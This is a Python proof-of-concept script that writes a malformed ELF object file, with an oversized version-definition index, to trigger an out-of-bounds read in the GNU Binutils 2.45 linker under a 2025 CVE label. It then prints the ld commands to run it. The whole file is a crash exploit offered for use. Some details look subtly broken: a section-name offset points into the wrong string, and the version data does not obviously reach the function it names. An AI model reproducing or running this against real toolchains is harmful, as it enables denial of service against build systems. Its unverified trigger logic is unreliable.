#!/usr/bin/env python3
# CVE-2025-11412 PoC - Trigger OOB read in bfd_elf_gc_record_vtentry
# This PoC creates a malformed ELF object file with corrupted version
# information to trigger out-of-bounds read in GNU Binutils 2.45 linker.
import struct
import sys
# ELF64 constants
ELFMAG = b'\x7fELF'
ELFCLASS64 = 2
ELFDATA2LSB = 1
EV_CURRENT = 1
ET_REL = 1 # Relocatable file
EM_X86_64 = 62
SHT_SYMTAB = 2
SHT_GNU_verdef = 0x6ffffffd
SHT_GNU_verneed = 0x6ffffffe
SHT_GNU_versym = 0x6fffffff
def pack_elf64_ehdr(e_type, e_shoff, e_shnum, e_shstrndx):
"""Pack a minimal ELF64 header"""
return struct.pack('<4sBBBBB7sHHIQQQIHHHHHH',
ELFMAG, # e_ident[EI_MAG]
ELFCLASS64, # e_ident[EI_CLASS]
ELFDATA2LSB, # e_ident[EI_DATA]
EV_CURRENT, # e_ident[EI_VERSION]
0, # e_ident[EI_OSABI]
0, # e_ident[EI_ABIVERSION]
b'\x00' * 7, # e_ident padding
ET_REL, # e_type
EM_X86_64, # e_machine
EV_CURRENT, # e_version
0, # e_entry
0, # e_phoff
e_shoff, # e_shoff
0, # e_flags
64, # e_ehsize
0, # e_phentsize
0, # e_phnum
64, # e_shentsize
e_shnum, # e_shnum
e_shstrndx # e_shstrndx
)
def pack_elf64_shdr(sh_name, sh_type, sh_flags, sh_addr, sh_offset,
sh_size, sh_link, sh_info, sh_addralign, sh_entsize):
"""Pack an ELF64 section header"""
return struct.pack('<IIQQQQIIQQ',
sh_name, sh_type, sh_flags, sh_addr, sh_offset,
sh_size, sh_link, sh_info, sh_addralign, sh_entsize)
def create_malformed_elf(output_path):
"""Create a malformed ELF object file to trigger CVE-2025-11412"""
# Section header string table
shstrtab = b'\x00.symtab\x00.shstrtab\x00.gnu.version_d\x00.gnu.version\x00'
# Malformed GNU verdef section - crafted to trigger OOB read
# The vd_ndx field is set to an abnormally large value
# Verdef structure: vd_version(2), vd_flags(2), vd_ndx(2), vd_cnt(2),
# vd_hash(4), vd_aux(4), vd_next(4)
verdef_entry = struct.pack('<HHHHIII',
1, # vd_version
0, # vd_flags
0xFFFF, # vd_ndx - abnormally large index to trigger OOB
1, # vd_cnt
0, # vd_hash
20, # vd_aux (size of verdaux entry)
0 # vd_next (0 = end)
)
# Verdaux: vda_name(4), vda_next(4)
verdaux_entry = struct.pack('<II', 1, 0)
verdef_data = verdef_entry + verdaux_entry
# Build ELF sections
ehdr_size = 64
shdr_size = 64
# Layout: [ELF header] [shstrtab data] [verdef data] [section headers]
shstrtab_offset = ehdr_size
verdef_offset = shstrtab_offset + len(shstrtab)
shdr_offset = verdef_offset + len(verdef_data)
# Align shdr_offset
if shdr_offset % 8 != 0:
padding = 8 - (shdr_offset % 8)
verdef_data += b'\x00' * padding
shdr_offset += padding
# Section indices: 0=NULL, 1=.shstrtab, 2=.gnu.version_d
e_shnum = 3
e_shstrndx = 1
# Build ELF header
ehdr = pack_elf64_ehdr(ET_REL, shdr_offset, e_shnum, e_shstrndx)
# Build section headers
shdr_null = pack_elf64_shdr(0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
shdr_shstrtab = pack_elf64_shdr(1, 3, 0, 0, shstrtab_offset,
len(shstrtab), 0, 0, 1, 0)
shdr_verdef = pack_elf64_shdr(17, SHT_GNU_verdef, 0, 0, verdef_offset,
len(verdef_data), 0, 0, 4, 0)
# Write the malformed ELF file
with open(output_path, 'wb') as f:
f.write(ehdr)
f.write(shstrtab)
f.write(verdef_data)
f.write(shdr_null)
f.write(shdr_shstrtab)
f.write(shdr_verdef)
print(f"[*] Malformed ELF file created: {output_path}")
print(f"[*] Run: ld -r {output_path} -o /dev/null")
print(f"[*] Or: ld {output_path} /lib/x86_64-linux-gnu/crt1.o ...")
if __name__ == '__main__':
output = sys.argv[1] if len(sys.argv) > 1 else 'poc_elf.o'
create_malformed_elf(output)